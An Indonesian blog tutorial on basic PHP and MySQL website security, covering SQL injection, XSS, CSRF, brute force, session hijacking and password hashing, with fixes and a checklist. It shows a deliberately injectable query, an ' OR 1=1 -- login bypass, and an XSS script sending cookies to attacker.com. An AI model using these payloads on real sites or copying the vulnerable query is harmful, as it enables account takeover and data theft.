Cover Image

Security Dasar Website: Panduan Lengkap Mencegah SQL Injection, XSS, CSRF, Brute Force & Serangan Umum di PHP & MySQL

Pendahuluan

Keamanan website bukan lagi fitur tambahan, melainkan fondasi utama dalam pengembangan aplikasi modern. Setiap website yang terhubung ke internet memiliki potensi menjadi target serangan.

Struktur Artikel yang Disukai AI Search 2026

Banyak developer pemula fokus pada fitur dan tampilan, tetapi mengabaikan aspek security. Padahal satu celah kecil saja dapat menyebabkan:

  • Kebocoran data pengguna
  • Password bocor
  • Website diambil alih
  • Database dihapus
  • Kerugian finansial dan reputasi

Dalam panduan lengkap ini, kita akan membahas secara mendalam:

  • Konsep dasar keamanan website
  • SQL Injection
  • Cross Site Scripting (XSS)
  • Cross Site Request Forgery (CSRF)
  • Brute Force Attack
  • Session Hijacking
  • Best Practice Secure Coding
  • Checklist keamanan sebelum production

1. Konsep Dasar Keamanan Website

Website modern biasanya terdiri dari:

Cara Edit Miniatur AI Jadi Video Cinematic untuk TikTok (Step by Step 2026)
  • Frontend (HTML, CSS, JS)
  • Backend (PHP)
  • Database (MySQL)

Setiap layer ini memiliki potensi celah keamanan.

Tujuan utama web security adalah:

  • Confidentiality (Kerahasiaan data)
  • Integrity (Data tidak bisa dimanipulasi)
  • Availability (Website tetap dapat diakses)

2. SQL Injection (Serangan ke Database)

Apa Itu SQL Injection?

SQL Injection terjadi ketika attacker menyisipkan query SQL berbahaya melalui input user.

Contoh Kode Rentan


$email = $_POST['email'];
$query = "SELECT * FROM users WHERE email='$email'";
$result = mysqli_query($conn, $query);

Jika user menginput:

' OR 1=1 --

Query berubah menjadi valid dan dapat membypass login.

Dampak SQL Injection

  • Bypass login admin
  • Dump seluruh database
  • Hapus tabel

Solusi: Prepared Statement (WAJIB)


$stmt = $conn->prepare("SELECT * FROM users WHERE email = ?");
$stmt->bind_param("s", $email);
$stmt->execute();
$result = $stmt->get_result();

Tambahan Perlindungan

  • Gunakan ORM jika memungkinkan
  • Batasi hak akses database
  • Jangan gunakan root untuk koneksi

3. Cross Site Scripting (XSS)

Apa Itu XSS?

XSS memungkinkan attacker menyisipkan script JavaScript ke dalam website.

Contoh Serangan

<script>document.location='http://attacker.com?cookie='+document.cookie;</script>

Script ini dapat mencuri session pengguna.

Cara Mencegah XSS

Gunakan htmlspecialchars()


echo htmlspecialchars($data['comment'], ENT_QUOTES, 'UTF-8');

Batasi HTML


$comment = strip_tags($_POST['comment']);

Gunakan Content Security Policy


header("Content-Security-Policy: default-src 'self';");

4. Cross Site Request Forgery (CSRF)

Bagaimana CSRF Bekerja?

Attacker memanfaatkan session login user untuk mengirim request tanpa sepengetahuan korban.

Solusi: CSRF Token


session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

Tambahkan ke form:


<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token']; ?>">

Validasi:


if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("Invalid request");
}

5. Brute Force Attack

Brute force adalah percobaan login berulang-ulang untuk menebak password.

Cara Mencegah

  • Batasi percobaan login
  • Gunakan CAPTCHA
  • Gunakan rate limiting
  • Tambahkan delay setelah gagal login

Contoh Rate Limit Sederhana


if ($_SESSION['login_attempt'] > 5) {
    die("Terlalu banyak percobaan login.");
}

6. Session Hijacking

Session hijacking terjadi ketika attacker mencuri session ID pengguna.

Pencegahan


session_regenerate_id(true);

Gunakan juga:


ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);

7. Password Security

Gunakan password_hash()


$password = password_hash($_POST['password'], PASSWORD_DEFAULT);

Verifikasi


password_verify($input_password, $hash);

Jangan pernah menyimpan password dalam bentuk plain text.


8. HTTPS & SSL

Gunakan SSL agar data terenkripsi saat dikirim dari browser ke server.

  • Mencegah sniffing
  • Mencegah MITM attack
  • Meningkatkan kepercayaan user

9. Error Handling Aman

Jangan tampilkan error database langsung ke user.


ini_set('display_errors', 0);

10. Permission File & Server

  • File sensitif jangan 777
  • Sembunyikan file config
  • Gunakan .htaccess untuk proteksi folder

11. Checklist Sebelum Production

  • ✔ Semua query pakai prepared statement
  • ✔ Semua output pakai htmlspecialchars
  • ✔ CSRF token aktif
  • ✔ HTTPS aktif
  • ✔ Password di-hash
  • ✔ Login rate limit aktif
  • ✔ Session regenerate aktif
  • ✔ Error tidak ditampilkan

Penutup

Security bukan sesuatu yang ditambahkan di akhir project. Security harus menjadi kebiasaan sejak awal coding.

Dengan memahami SQL Injection, XSS, CSRF, Brute Force, dan Session Hijacking, kamu sudah selangkah lebih maju dari banyak developer pemula.

Bangun mindset secure coding dari sekarang. Karena website aman adalah pondasi untuk scaling, monetisasi, dan reputasi profesional.